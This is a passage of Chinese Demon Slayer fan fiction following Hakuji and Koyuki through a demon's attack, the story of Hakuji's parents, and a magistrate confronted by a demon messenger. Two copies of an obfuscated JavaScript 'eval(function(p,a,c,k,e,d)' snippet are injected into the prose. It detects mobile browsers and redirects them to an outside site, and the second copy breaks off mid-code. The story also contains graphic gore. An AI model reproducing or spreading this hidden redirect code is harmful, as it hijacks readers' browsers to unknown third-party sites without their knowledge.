穿着足袋,捧着大半盆水回到居室,没等狛治腾出手,一只雪白细长的手轻轻拉开门扉。 “请问——” 狛治闯进了那双樱粉色的花瞳里。 女孩没想到有人在门口,粉嫩的指尖捂住嘴唇,下意识地后退半步。 手掌挡住了尖尖的下巴,许是被子闷出了汗,白皙脸颊两侧晕出两朵粉团,一双向下的细眉舒展着,花瞳盈着点点好奇,抬头向狛治看来。 狛治眼眶微睁,瞳仁颤了颤。 时间都好像静止了,鸟叫虫鸣一时间听不真切。 “我是恋雪。”她的声音很细,像樱花瓣落在地上,眉眼弯弯地朝狛治看来,微微歪头,“请问您是——” 少年一瞬动心就是永远。 像一滴水落入初春的清泉。 庭院开阔,日光从天上落下来披在自己身上,两侧松树高耸,庭下白色的石粒模拟成海浪的波涛,黑色的怪石立在其上。 池边水滴落入竹杓,风拂过耳边的碎发。 心脏错了一拍。 而后—— 砰,砰,砰,砰砰砰得仿佛要从胸腔跃出来。 竹杓从左边落到右边,狛治下意识侧头,避开了女孩的视线。 恋雪微微歪头。 “我是狛治。”狛治觉得身体有些僵硬,不住挪了挪腿,“这里是江户的町奉行所。” 看女孩没回应,半晌补了一句,“不用担心。” 与此同时,白城撩开打铁铺的帘子。 脚尖一不小心踢到空酒瓶,瓶身轱辘滚到墙边停住。 满室酒气。 白城看向暗处里的那一团人影,“您好。” “我需要一柄刀,一柄赫刀,一柄赤红如铁的刀。” “滚!” 10. 脊背 恋雪脸颊红红的。 空气里酝酿着诡异的安静。 少女坐在被褥里,少年跪坐在侧,眼睛往右下角看,不敢望她。 “狛治先生,是您救了我吗?”花瞳睁得大大的,盈着光,比狛治见过的所有樱花还要水亮。 狛治区区用余光扫了一眼就侧过头来,食指不自然地挠了挠脸颊,“啊,正好遇到了。” “不是什么大事,任何人遇到都会帮忙的吧。” “嗯嗯……”恋雪不太赞同的摇头,“不是噢,是因为狛治先生是个很善良的人。” 善良啊…… 狛治望着房梁上雕刻的花纹,藏了藏衣袖下的手臂,“要不要在町奉行所逛逛?” “欸?可以吗?”少女细细垂下的眉毛明显扬了扬,有些开心。 “嗯。”狛治起身,“需要我扶你吗?” “我自己可以的。”恋雪垂眸,看到和服的腰带,耳根一红,音若蚊虫。 狛治注意到了少女的视线,“不好意思,因为当时怕你喘不过气来,就替你解开了……” “没事的。”恋雪走在前面,白皙纤细的脖颈上是泛着粉色的耳垂,“这其实是我这么多年,第一次出远门。” “可惜好不容易走到江户,还没怎么逛逛,就倒下了。” “下次我带你来。”狛治坠在后面近乎脱口而出。 “欸?”恋雪回头,眸底是掩不住的惊讶。 “我的意思是如果你下次想来的话,我可以带你在江户玩。”狛治脸猝地红了,眼睛上看下看,手指在背后绞在一起,“没什么别的意思。” 人在尴尬的时候总会显得很忙。 “狛治先生的好意我心领了。”恋雪笑了,像是阳光下融化的春泉,夹杂着一丝近乎不可闻的哀伤,“但狛治先生也看到了,我身体很糟糕。” “这次光是走这一段路,就差点……” 那一瞬间,狛治像是看到了一只被困在笼子里的金丝雀。 狛治皱眉看她,“今年不行,还有明年,明年不行,还有大后年。” “身体总能变好的。” 盈盈的花瞳颤颤睁大了,恋雪呆呆地看他。 过了一会,轻轻摇头,而后只是垂头往前走。 两人又陷入了诡异的静默中,唯有庭院里的鸟儿在树尖叽叽喳喳叫着。 “希望吧。”恋雪轻声说,“谢谢你,狛治先生。” 狛治在她身后,好像看到一丝晶莹剔透的泪。 但女孩低头,食指微微蹭过,就消失不见了。 她在哭吗? 狛治有些无措。 “这里是奉行大人的居所。”路过白城的书房,狛治指给恋雪看,“平日里办公也在这里。” “他今天应该是有什么事情,所以不能亲自出来见你了。” 恋雪歪头,“欸,奉行大人是怎样的人呢?” “晤……”狛治罕见地思考了一会,“温柔的,强大的,敏锐的,聪明的。” “是很厉害的人呢。” “狛治先生笑了呢。”恋雪注视着狛治,连病气都散了些,“一定是对狛治先生来说,很重要的人吧。” 狛治摸了摸腰间的荷包,“嗯,很重要的人。” 狛治这些天也是难得遇见自己的同龄人,缓过最初的羞郝后,话也密集了起来,“要不要去我的房间看看?” “如果你不介意的话……” “好呀。” 从白城居所右拐便进了狛治的小院。 小院不大,两侧绕着绿荫树,中间开阔无遮挡。 “我会经常在这里锻炼。”狛治随口介绍道,“所以没有安置别的花草。” “锻炼啊……”恋雪悄悄看向狛治衣服下的线条。 夏天的衣料很薄,可以轻松看见浴衣下流畅的手臂线条,精炼的肌肉,暗含爆发的力量。 她被这双手抱过,她知道那是一种怎样的感觉。 “怎么了?”狛治扭头看她。 少女猝地回神,伸出自己的手握成拳,小臂软趴趴的,“要是我的身体也像狛治先生这么健康就好了。” “等你好了,我们可以一起锻炼。”狛治说,“如果你过不来的话,我可以去找你。” 恋雪垂眸,黑色的鸦睫挡住了瞳孔的颜色,“谢谢你,狛治先生。” 狛治直觉女孩不太开心,“怎么……” “你真的是一个很善良,很善良的人。”恋雪突然抬头。 不是的。 完全错了。 我是一个很糟糕很糟糕的烂人。 狛治已经很久没这么想过了,但今天这个想法像灵巧的蛇一样,从阴暗的角落里吐着信子又冒了出来。 “没你说的那么好。”狛治挠了挠侧脸。 恋雪眉毛弯了弯,“我看人很准的。” “狛治先生的名字是这两个字啊。” 走进内室,恋雪第一眼就被案上的和纸吸引了。 桌案上层层叠叠累了一大沓和纸,上面密密麻麻用不同字体的风格写满了狛治的名字。 狛治第一次有些局促,想要上去把和纸盖住收起来,“还没有练好。” “已经很好看了。”恋雪夸赞道,“狛治先生很会写毛笔字呢。” 狛治摇头,“还在练习中,想要写一副最好的,送给奉行大人。” “奉行大人对于狛治先生来说是什么人呢?” 白城对外宣称的身份,其实是他的养父。 但狛治思索了一会,“像哥哥一样温暖的人,拯救了我的生命的恩人吧。” “真好啊……”恋雪说。 狛治先生有很光明的未来。 那股向上的,生机勃勃的,旺盛的生命力。 让恋雪遥望着,艳羡着。 “真好啊……”她徒劳地张开五指,又缓缓合上,低低咳嗽了两声,“对不起,狛治先生。” 狛治把她扶到案边坐下,给她倒了一盏热茶,指尖隔着杯壁确认不烫了才递给恋雪。 恋雪明显有些愕然,而后小声道谢接过,“狛治先生很细心呢。” “嗯,照顾过爸爸很长时间。” “狛治先生的父亲身体也不好吗?” “嗯。”谈到父亲,狛治有些缄默。 “辛苦了。” “?”狛治不解。 恋雪小口汲着茶水,升腾的热气打湿她的睫毛,“照顾病人是很繁重的工作吧。” 狛治仔细回想了一下,“并没有。” 恋雪没有接话。 于是狛治又补了一句,“明明病人才是最辛苦的那一个吧。” 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他很敏锐地往外看看日头,“是不是要回家了?” “嗯。”恋雪点头,“我家离江户有一段距离,要是一直没有回去的话,爸爸会担心的。” “我送你吧。”狛治起身,从柜子里翻出两件羽织,带上些许银两和干粮,打成一个简易的包裹背在身上。 速度之快,恋雪连推辞的话都没有说出口,狛治就已经整装待发了。 “上来。”狛治把包裹调整到胸前,而后在恋雪身前微微蹲下身子。 “欸?”恋雪捂着嘴。 “我背你吧。”狛治说,“我脚程快些。” “不必了……” “要是出城天黑,可没医馆。”狛治回头朝她笑笑,“没事的,你很轻。还没沙包重呢。” 恋雪慢慢趴在狛治背上。 宽阔的,坚实的,滚烫的躯体。 狛治先生意外地不会说话。 被比作沙包的时候,恋雪觉得有些冒犯,又觉得有些直白的可爱。 颊侧的头发一不小心垂落下来,她伸手把它别在耳后。 “你可以搂着我的脖子。”狛治说,“小心点,别掉下去。” 有力的,滚烫的手指轻轻托在大腿上。 恋雪蜷缩成拳头无处落下的手指轻轻地落在他肩上,“谢谢你,狛治先生。” 女孩气吐如兰。 耳朵有些痒。 狛治过了好久才忍耐下来。 “没事的。” “要是没遇到狛治先生,我都不知道该怎样一个人走回去。” “别说话。”少年难得声线僵硬。 恋雪注意到少年昏暗天光下,宛若赤红的耳垂。 “啊……”恋雪喃喃,猝而意识到什么,怯怯道,“对不起。” “没事。”狛治把人往上托了托,“不是你的问题,你不用道歉。” 恋雪轻轻把脸颊埋在狛治先生背上。 隔着薄薄的布料听着他胸腔平稳的心跳。 健康的身体…… 真好啊…… 11. 血的气味 “狛治先生,送到这里就可以了。” 晚霞挂在长空,落日隐在山后,一天中最后的微光打在素流道馆的牌匾上。 恋雪脚落在地上,小心翼翼地撑着狛治的肩膀站直身体。 盛夏的日头毒辣,狛治流了不少汗。 “狛治先生……要不要进来喝一杯茶。”恋雪食指弯曲又伸直,明显犹豫了很久才鼓起勇气。 “可以吗?”狛治也确实有些渴了,路程比他想象的要短,准备的夜里防风用的羽织都没用上。 恋雪的花瞳视线有些飘忽,被太阳晒红的脸红红的,推开门走进道场,声音低不可闻,“如果是狛治先生的话……” 狛治跟上。 道场不大,庭院开阔,西南方向有一口水井。 狛治打量着周围的环境。 “怎么了,狛治先生?”恋雪回头,看狛治停在一间练习场的门口。 狛治收回视线,“没什么。” “这是练习的屋子。”恋雪歪头解释道,“爸爸和弟子经常会在这间屋子里练习。” “素流?”狛治问她,屋内榻榻米的地上没有发现竹刀反复击打后的裂纹。 “嗯,一种空手道……”恋雪思考,“好像说格斗术会更准确一点。爸爸不愿意舞刀弄枪,觉得纯粹锻炼□□会更满足。” 狛治若有所思。 脱下木屐,恋雪半跪在木地板上,回身整理好木屐的位置。 狛治慢她一步,还没等回身处理自己的木屐。 只见恋雪纤细柔软雪白的手指勾起自己木屐上的布带。 “不不不不不,我自己来就可以。”狛治近乎扑通一声就跪下了,连忙伸手去勾自己的鞋子。 一时间手忙脚乱,话都咬舌头。 然后就抓住了勾着布带的恋雪小姐的手。 空气静默了一瞬。 明明离得很近,近到能感受到身边人的热量,没人抬头,没人呼吸,两个小娃娃僵在门口,直到一只绿色的蟋蟀蹦蹦跳跳地从庭院走过。 “失礼了。” 还是狛治先收回了拢住恋雪小姐的手。 “没事……”恋雪摩挲了一下被少年碰过的指节,拢进袖子里。 两人默默侧过头。 狛治先生的手指很长,指节薄茧,指甲圆润,是温热的,很粗壮的手呢。 恋雪的思维不受控地乱飘。 不对,我在想什么啊? 恋雪摸了摸自己的脸颊,滚烫的。 “怎么了?是不是发烧了?”狛治一直在用余光注视着她,“医生说白天受了凉,晚上可能会发烧。” 恋雪这才感觉脑袋有些晕晕乎乎的。 原来是因为发烧了吗? 所以心跳才会这么快。 “实在麻烦你了,狛治先生。”恋雪乖巧钻进被褥里,“爸爸应该是出去找我了……” “没关系。”狛治拿着水盆去打水。 拉开房门的时候,天边瑰丽的残阳已然落幕,空气里隐约飘着一丝血的气味。 狛治动了动鼻头,弯腰把木盆放在井边,起身去锁好了道场的木门。 “恋雪小姐的父亲呢?”粗壮的指节伴随青筋隆起,狛治跪在盛水的木盆前,把毛巾拧干。 “应该出去找我了。”恋雪轻轻咳嗽了两声,睫毛垂落在脸上打落一层阴影,遮住了掩不住的担忧,“这是我第一次出远门,走得太匆忙,还没来得及跟父亲说。” “母亲也跟着一块去了吗?”狛治并没有告诉她血腥味的事情。 恋雪摇头,“母亲她……投水自尽了。” 拧着毛巾的手一顿。 “抱歉。” “没关系的。”恋雪很温柔地摇头。 狛治轻轻拢开她脖后的碎发,把毛巾敷在她雪白的脖颈上,“真的不需要躺下吗?” “我想等爸爸回来。”恋雪朝狛治安慰地笑笑,手指抠在被褥上,明显焦躁不安。 “那我陪你吧。”狛治顺势盘腿坐在门边。 “太晚回去的话不要紧吗?” “没事。”狛治随口道,“习惯了。” “可是家里人会担心吧……” 狛治猝地想到了白城,想到那晚阴冷的监狱牢房,想到点在额间温暖的手,还有那一件轻柔的羽织。 他会担心我吗? 应该会的吧…… 狛治轻轻垂眸,“等恋雪小姐的父亲回来我就走。” “我脚程很快,不用担心。” “实在抱歉,给您添麻烦了。” “如果把恋雪小姐一个人留在家里,才真是给我添麻烦了。”狛治笑了笑,“奉行大人也一定会认同我的做法的。” 关上的房门掩住了屋外愈来愈浓的血腥味,屋内少女偶尔捂嘴低低地咳嗽。 许是觉得室内太安静,恋雪有些好奇地问狛治,“狛治先生平时会做些什么呢?” “锻炼,练字,读书,去厨房帮工……”狛治半倚在墙壁上,抬头望着天花板思考,而后扭头朝她笑了笑,“总之有很多事情呢。” “有什么很有趣的事情吗?”恋雪的眼底流露出浓浓的兴味,混着一丝不可说的艳羡。 “很多啊……”狛治想着最近跟过去翻天覆地的变化,“城南私塾边的团子铺一直都有很多少爷小姐围着吃。” “我小时候一直眼馋,但舍不得买,前两天跟奉行大人一起去吃了。” “味道怎么样?”恋雪睁大了眼,“我从小肠胃不太好,妈妈从来不让我吃团子那类东西。” “晤……”狛治食指和拇指隔空比出一个团子的大小,捏了捏,“外皮焦焦的,一口咬下去有点脆。里面bia唧bia唧弹弹的。” “有点黏牙,味道带着点甜味,但又不是很甜,是糯米粉的香气。” “奉行大人还蛮喜欢的。” “等你身体好了,我们可以一起去吃。”狛治朝她笑。 “真好啊。” “再往前的话,这次城里的水灾,是我在组织施粥噢。”狛治看着恋雪的花瞳就忍不住多说些。 “欸……施粥。”恋雪这次彻底睁大了眼,睫毛一颤一颤的,“狛治先生吗!好厉害!” 许是少女的目光太过崇拜,狛治下一秒就从脸颊红到脖子,悄悄侧头,把玩着平铺在地上的荷包,“其实也没有啦。” “如果是恋雪小姐的话,也一定能做得更好的。” 狛治并不习惯把话题围绕在自己身上,夸夸其谈让他觉得有些不安,“恋雪小姐呢?平日里喜欢做些什么?” 少女向狛治倾斜的身体一下就僵硬了。 她伸出自己的手心,雪白的,细腻的,孱弱的,浸着草药气的,“一直一直待在这间屋子里噢。” 狛治一怔。 恋雪扬眉朝他温柔地笑。 他却怎么都能看出一丝苦味。 就像被困在那间破败屋子里的父亲那样。 他忍不住抓住了恋雪的手。 死死扣住,仿佛这样,眼前人就不会离自己远去。 “今年夏日祭听说有烟花。”狛治冷不丁地说。 “听起来真美好呢。” “我们一起去吧。” “抱歉……狛治先生。” “为什么?” “再出去的话,爸爸会担心的。”恋雪又咳了咳,歉意地笑笑,“你也看到了。” “那好吧。”狛治让步,而后近乎理所应当地说,“反正日子还长,今年不行,还有后年,后年不行,还有大后年。” 恋雪想要低头,想要蜷回自己的被子里,她觉得睫毛有些痒,眼泪要流出来。 可攥住她的手死紧。 她只能抬头望他。 “恋雪小姐还没看过烟花吧,其实我也没看过。”狛治有些羞郝地挠挠鼻尖,但眼神很郑重,“之后,我们可以一起渡过很多很多,很多很多的第一次噢!” 许是少年湛蓝的眼睛像是这方方正正围起的庭院飞鸟掠过的天空,又像是父亲口中那波澜诡谲的大海。 恋雪这一刻,真的忘记了自己孱弱如纸的身体,投入少年描绘中的美好的未来里去。 “咳咳咳咳咳……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16483302|182609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痛苦的,窒息的,像被鱼线绞紧的心肺,被肌肉勉强拉住没有散架的肩膀,硬生生将恋雪扯回现实。 恋雪趁着咳嗽,拭去眼角的泪。 而正好屋外有人敲门。 “咚咚咚!” 又急又响。 “狛治先生,您去看看吧。”恋雪泪眼汪汪的,眼尾浸着红,“我没事的。” “好。” 狛治迅速给她换上一个新毛巾,而后才起身,“你好好休息,我去看看。” 少年只比恋雪大两岁,但站在面前,却意外地让人安心。 “你小心一点。”恋雪勾住了狛治和服的袖口。 狛治回头。 “爸爸不会这么粗暴的敲门。” “我知道了。”狛治蹲下身,把她的手重新放回被子里,掖好被脚,“别担心。” 刚到的时候,狛治就观察过了。 他到水井旁边堆着杂物的一角先是拿了一个长长的竹竿,掂量在手里比划两下。 清冷的月光落在角落里砍柴刀上。 狛治弯腰,又把刀别在腰间。 “谁啊?”他隔着门问。 “隔壁,田岛道场。” 门后的木板刚刚挪开,大门就被人一脚踹开。 举着火把的一群人,像恶狼一样围了上来。 “怎么了?”狛治压下眉梢,牢牢握住竹竿,一人一竿,抵在门口。 火光把少年的影子拉得很长很长,背后恋雪屋子的门扉透着安心的光。 双方无声对峙着。 田岛道场的弟子一个个散开,从中间让出一条路来,一个穿着黑色武士服的男人,缓步走了出来,“庆藏呢?” “不认识。” 武士气笑了。 “不认识?我儿子跟他女儿跑了,结果天黑都没回来!你说你不认识?” “素山恋雪回来了吗?把她交出来,我儿子去哪了!” 是那个把恋雪小姐,丢在巷子里的人啊。 “他名字叫田岛什么?”狛治冷不丁地问他。 “田岛奎。” “噢,我有印象,那个把恋雪小姐一个人丢在巷子里跑了的人啊。” “你见过他?你知道他去哪了?”武士直直揪住狛治的衣领。 狛治啪得把武士的手打落了,“不知道,不认识。” “我遇到的时候,只有恋雪小姐一个人在巷子里。” “说不定……”简单理理领口,狛治扬起一个恶劣的笑来,“已经被鬼吃了。” 武士拔刀就要亮剑。 “你闻不到吗?”狛治动都没动一下,恶意地挑了挑眉梢,清秀圆润的脸扭曲着。 “什么?” 狛治鼻子嗅了嗅,“空气里,血的味道。” “你知道的吧……从很久以前开始,有吃人鬼会在太阳落山后出来。” “现在去找,说不定还能捡回一条命来。” 武士脸色难看,火光印在面部的沟壑上,大手一挥,“走,继续去找。” 走之前恶狠狠地回头盯了他一眼,“你最好祈祷他没事。” “不然我让你们一起陪葬!” 狛治一句话都欠奉,关门,落锁。 竹竿轻轻靠在恋雪的门扉边上,腰间的柴刀却没有下下来。 原本躺下的恋雪不知何时已经直起了身子,走前搭在额间的白色毛巾,死死地被攥在掌心里。 “你听到了?” “这个世界上……真的有鬼吗?”恋雪揣揣不安地望着狛治,眼神绝望。 狛治别开视线,把柴刀卸在顺手可以拿到的位置,从她掌心里拨出毛巾来,重新浸入水里搓洗。 “真的有鬼吗?” “血腥味是真的吗?” 毛巾湿哒哒的,狛治拧了又拧。 “狛治先生!”恋雪抓住了狛治的拳头。 两个人都怔了一下,恋雪把手又收了回去。 “抱歉……” “有的。”狛治把毛巾重新轻柔盖回恋雪的额头上,“我的母亲就是被鬼杀死的。” 12. 鬼之子 狛治重新盘腿靠在墙边,指尖在柴刀刀背上来回滑动着。 铁质的冰冷让他可以理清思路。 “其实我记不太清了。”狛治掀了掀唇角,“爸爸在世的时候也不愿意多谈。” “这些是我从他当年酒后胡话里,零零散散拼凑出来的,你就当个故事听吧。” “我的父亲是个浪人,年轻的时候是德川家家臣。” “当年幕府成立,战事减少,财政困难,很多低阶武士被裁。” “狛治先生的父亲也是被裁了,才成为浪人的吗?” “不。”狛治摇头,“老爸应该很厉害。” 狛治从来没有接受过正规的武术训练,却自小打遍街道无敌手,八岁就能跟成年人打得有来有回,跟基因不无关系。 “他是自愿请辞的。” “欸?放弃俸禄、家纹、住所、佩刀、还有荣誉?”恋雪不可置信。 “不可理喻是吧?”狛治鼻子哼出气来,掌纹跟木柄稍稍摩挲了一下,“老爸就是这样的人。” “裁员是裁不到家臣身上的。” “他只是跟主君说,自己一个人的俸禄能抵上50名低阶武士的俸禄。” “他让主君裁了自己,用省下来的钱继续供养那群低阶武士。” “主君答应了?”恋雪好奇。 狛治摇头。 “主君大笑着,只当他酒后胡话,允了他一周的假。” “那天之后,父亲被关在家里。” “武士不似能考取的功名,它是一种世袭的身份。” “而老爸的家族自然不允许千辛万苦耗费无数心力财富,捧上来的德川家臣请辞。” “他们先是让老爸绝食,而后不让他睡觉。” “就像熬鹰那样。” “等他身体和心理防线都摇摇欲坠的时候,再派老爸的老爸,我应该叫……”狛治思考了一会。 “爷爷?” “嗯。”狛治继续说,“叫爷爷和奶奶来游说。” “可他就是不松口。” “为什么呢?”恋雪好奇。 “当时奶奶也问了老爸这个问题。” “她问他为什么呢?只要松口,只要继续当德川家臣,他照样是地位尊崇的武士,是家族的骄傲。” “可当时饿得萎靡的老爸,撑着身体坐起来,反问奶奶。” “问什么?” “他问,您有没有见过那群被裁的武士?” “那群游荡在街头,为了养家糊口,把盔甲当掉,卖刀换饭。” “甚至因为羞愧,绝望切腹自尽的浪人?” “很离谱吧,会因为这种事情自尽。”狛治眉头拧在一块,“不可理喻。” “不是的。”恋雪摇头,“对于武士来说,忠君报国是天职。但现在主家不需要他们了,于是先前接受的教育,刻在心底的忠义、武士道、主从之礼,乃至支撑身体的信念,都成了历史的残响。他们觉得务农耻辱,也不被允许经商,只能做些单调的,曾经看不上的工作。” “很恐怖的。”恋雪深知虚无的痛苦,“人会丧失意义。” “活着不就是意义吗?”狛治不解。 恋雪弯了弯细眉,眸底却有说不清道不明的复杂情绪,“可能吧。” “总之老爸当时可能也是这么想的。”狛治继续说,“不论奶奶和爷爷怎么劝,他都不愿意松口。” “他说,我们家放弃这个家臣位置,还有别的收入来源。” “可那群低阶武士,如果被裁掉,就什么也没有了。” “爷爷和奶奶都觉得他不可理喻。” “后来呢?”恋雪好奇。 “后来,那群低阶武士还是被裁了。”狛治嘲讽地笑了笑,“家族又新捧了一个武士替代了父亲的位置。” “而这个武士,新上任的第一件事,就是把曾经受过父亲恩惠的武士们,全部裁掉,一个不留。” “被裁掉的武士怨恨这个家族,连带着怨恨上了,从始至终没有露过脸的老爸。” “那个时候……” “嗯。”狛治面无表情,“被关在柴房里,奄奄一息。” “是他的青梅竹马心生不忍悄悄把他放走了。” “在月下,少女明明早该回头离去。” “却始终看着父亲的背影。” “她高声喊,你要不带我走吧!留下来我会被打死的!” “其实并不会。她是她们家那一代唯一的女孩,被捧在手心里长大的公主。” “放走一个废人,最多被禁足三天。” “老爸也知道,所以说什么都不愿意带她走。” “可她说?”恋雪歪头。 狛治注视着恋雪,“她说,没有你我会死的。” “我喜欢你。” “我要跟你一起走。” “老爸没拗过她,只觉粗茶淡饭,柴米油盐的日子一过,她会自己回来的。” “但是?”恋雪接茬。 “嗯。她再也没有回家,她成了我的母亲。” “洗手做羹,操持家务。” “细皮嫩肉的手很快就磨出茧子,冬天总会生出冻疮。” “老爸有天去镇上给她买冻伤膏回来。” “回家听到老妈告诉他,她怀孕了。” “老爸欣喜若狂。” “我快要出生那几天,老爸去镇上找接生婆。” 伴随着狛治越来越低沉的语气,恋雪似乎意识到什么。 “附近的医馆都是当年被裁掉的那群浪人开的,他们认出了父亲,说什么都不让接生婆跟父亲走。” “老妈在家里随时要生。” “父亲直接跪下磕头,求接生婆跟他走一趟。” “接生婆还是跟父亲走了,只是耽误了几个时辰,天黑了。” “当时我家住在半山腰上的木屋里,每一根木头都是父亲亲手搭建的。” “那晚回家,木门稀碎。” “一个浑身鳞片皮肤的黑影爬在母亲的身上,听到声音,捧着啃食到一半的大腿,扭头看他。” “空气里是浓郁到能让人呕吐出来的血腥味。” “那个鬼脸上长了三只角,两张嘴。” 恋雪捂住了嘴。 “那个时候老妈还活着。” “她拼尽全力,用手臂指了指床底。” “床底有什么?” “我。”狛治指尖点了点自己。 “在鬼进来之前,她用老爸的砍柴刀,亲手划开肚皮,把我剖了出来藏在床底。” “鬼的影子被月光打在窗户上的时候。” “老妈亲了亲我的额头。” “现在已经记不得是什么感觉了。”狛治笑了笑,“应该很温暖吧。” “她说,我生下来没哭,应该是个坚强的小孩。” “她把我藏进床底,拖着被剖开的肚子,提着柴刀,蜷到门口。” “鬼破门而入,直接把她压在地上。” “她到死都没能看到,我生下来就有两颗牙。” “父亲提着柴刀,追着鬼一路砍到天亮。” “等鬼死了,天也亮了,他在门外不敢进来。” “后来,在床底发现了我。” “这天之后,老爸的身体就一直不好。” “再然后,老爸也死了。” 恋雪瞳孔震颤着,不知何时眼泪已经落了满脸。 “别哭。”狛治用帕子擦去她的眼泪,“就是告诉你,保护自己的安全才是最重要的。” “安安全全地等爸爸回来,好吗?” “她会有多绝望啊。”恋雪呜咽。 是啊,她会有多绝望啊。 老妈生前,听说连一只蚊子都没敢杀过,却亲手剖开了自己的肚子。 “所以他们都叫我鬼之子。”狛治自嘲笑笑,“要是没有我的话,老妈可能不会死,那样老爸也不会死。” “不是的。”柔软的小手覆上狛治握着柴刀的手背,不知何时恋雪小姐已经从被窝里爬了出来。 “他们一定都很爱狛治,一定都想狛治健健康康快快乐乐地长大。” 狛治看恋雪。 恋雪很严肃地说,“你不要自责,不要自卑。” “狛治先生,是父母爱情的结晶。是承载着父母的爱意和期待下才出生的孩子,是幸福的孩子。” 狛治又看到了父亲。 拖着消瘦病体,坐在被褥里,扭头朝他慈爱一笑,说:“狛治,回来啦。” 说:“狛治,你要做个堂堂正正的男子汉。要堂堂正正地活下去。” 说:“狛治,你还小。你还有机会重新来过。” “你哭啦?” 狛治扭头,胡乱抹了一把脸,“我没有。” 但下一秒,恋雪就拥了上来,薄薄的里衣透着少女躯干的热度,“想哭就哭吧,没事的。” 鼻尖是狛治熟悉的草药香。 狛治脖颈侧的动脉抽了抽,手臂慢慢抬起,最后还是抱了上去。 把脸埋在恋雪衣服里,低低地抽动着肩膀。 恋雪看着狛治的头顶。 直到这时,她才发现狛治也是个没比自己大多少的孩子。 原来狛治先生也有这么脆弱的一面啊…… 这一晚,素流道场的灯通宵亮着。 少年和少女半依偎在一起。 等一个从始至终,没回来的人。 天边露出第一抹鱼肚白的时候,狛治醒了,蹑手蹑脚地拉开房门。 “狛治先生。”恋雪也已经睁眼,“请带我一起去。” “我知道这很为难。” “但我不想一直这么等待下去。” “不想,一个人在家里等待着。” “我知道。”狛治安抚她,“我出去换一盆新的水,洗完脸我们就出发。” 恋雪点头,松开了抓住狛治的手,表示自己听见了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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盛夏热风掠过草地一吹,武士们齐齐打了个激灵。 “请问……”恋雪从狛治背上下来,“这附近有看到其他的人吗?” “我的父亲一晚上没有回家。” 武士的眼神一瞬间流露出一丝怜悯,“旁边的尖石头上有血迹,但没有看到尸体。” “跟这边离得也有些远,感觉不像田岛少爷的,或许你可以去看看。” 恋雪眼神怔怔,回身往石头那走。 “欸欸欸!你小子干什么呢!你小子!”武士一扭头,发现黑发少年不知何时蹿到他们身后,一把掀开了盖在田岛尸体上的白布。 “是鬼。”狛治身体绷得像一张随时要断的弓,“不是人砍下的双腿,是被鬼活生生吃掉的。” “拔掉双脚,从小腿腿肚,一点点吃到大腿根。” “是一直头上长着三只角,两张嘴的鬼。” “你小子在胡说什么呢?”武士们骂骂咧咧,没把话放在心上。 少年兀地抬头,眼眸赤红,“我亲眼看着母亲被他吃掉。” “是同一只鬼。” 狛治指着摆放在田岛躯干旁边的一双脚。 脚部完整,唯有被活生生扯烂的皮挂在上面。 “这上面只有肉渣了吧。”狛治甚至可以想到那鬼伸出带着倒刺的舌头,随口刮掉皮上牵连的红色血肉的模样。 武士们面面相觑,过了好久长出一口气,“幸好,看现场,鬼应该往江户城里面去了。” “咱们道场在城外,这些天只要不进城就好。” 狛治缓缓转头,声音如鬼魅,“你们说什么?” 武士指着土地上已经干涸的血迹,“你看这沾着血的脚印是往城里走的。” 狛治直起脊背,往江户城望去,“恋雪小姐,我需要立刻回町奉行所一趟。” “很抱歉。” 恋雪缓过神来,“没事的。” 她做好了被狛治丢下的准备,“我可以自己……” 回去两个字还没出口,便被狛治打断。 只见少年已经蹲在自己身前。 见恋雪迟迟没有上来,他仰头抬眉很认真,“恋雪小姐跟我一起去吧。” 恋雪默默趴在少年背上。 于是两颗害怕的心脏隔着薄薄的布料火热的皮肤,紧紧贴在一起。 他们都在恐惧。 恐惧那个不可接受的后果。 拜托,求求你上天。 狛治背着恋雪往町奉行所跑,不信鬼神的他第一次衷心祈祷—— 求求你不要对我那么残忍。 13. 上弦二 而此刻,町奉行所里的场景比白城预想的还要糟糕。 把狛治的屋子安排在自己身边,白城最开始就存了一旦发生意外可以随时把人变成鬼的心思。 可书房窗户上透出鬼影的这天,好死不死,狛治送恋雪回家了。 白城知道狛治不在的时候已经是傍晚,这是狛治第一次晚上不在家。 小黑告诉他,“狛治送一个樱花瞳的女孩回家了。” 白城就明白,应该是送恋雪回素流道场了。 他觉得应该没事,两人离开的时候是下午,按照狛治的脚程天黑之前能赶到素流道场。 他万万没想到出事的会是自己。 从窗户上看见鬼影的瞬间,握在毛笔上的指尖一瞬间因为紧张都在颤抖。 笔尖顿了一下,刹那在和纸上渲开大片漆黑墨渍。 来到这个世界承平日久,他都快忘了无惨的存在。 白城知道无惨的爪牙迟早会来,却没料到竟然来得如此之快。 他白天才拿一滴血喂鸡,今天晚上鬼就直接上门了。 白城突然意识到,自己完完全全低估了无惨。 这是一个足够谨慎而狡诈的敌人。 好在没有亲身过来。 门外的是谁? 上弦吗? 白城定了定心神,重新握住了笔,继续往下写,“既然来了,为何不进来?” 窗户的影子顿了顿,似乎没想到会被人邀请。 修剪得圆润的指甲轻轻推开门。 白城抬头,看到一个白白净净宛若书童的男孩子。 “您好,我迷路了。”男孩子裂开鲜红的嘴,唇红齿白,纯黑的瞳孔看不出十二鬼月的排位,他轻轻躬身行了个礼,“我在找一只鬼,您可以告诉我他在哪里吗?” “鬼舞辻无惨叫你来的?”白城不过轻轻扫他一眼,便低下头去。 “噢?”男孩有些惊讶地歪头,“您知道我们大人?” 白城轻轻落完最后一笔,收了个漂亮的笔锋,把和纸叠在旁边,才抬头看他,“他让你来找我,却没告诉你,我是谁?” 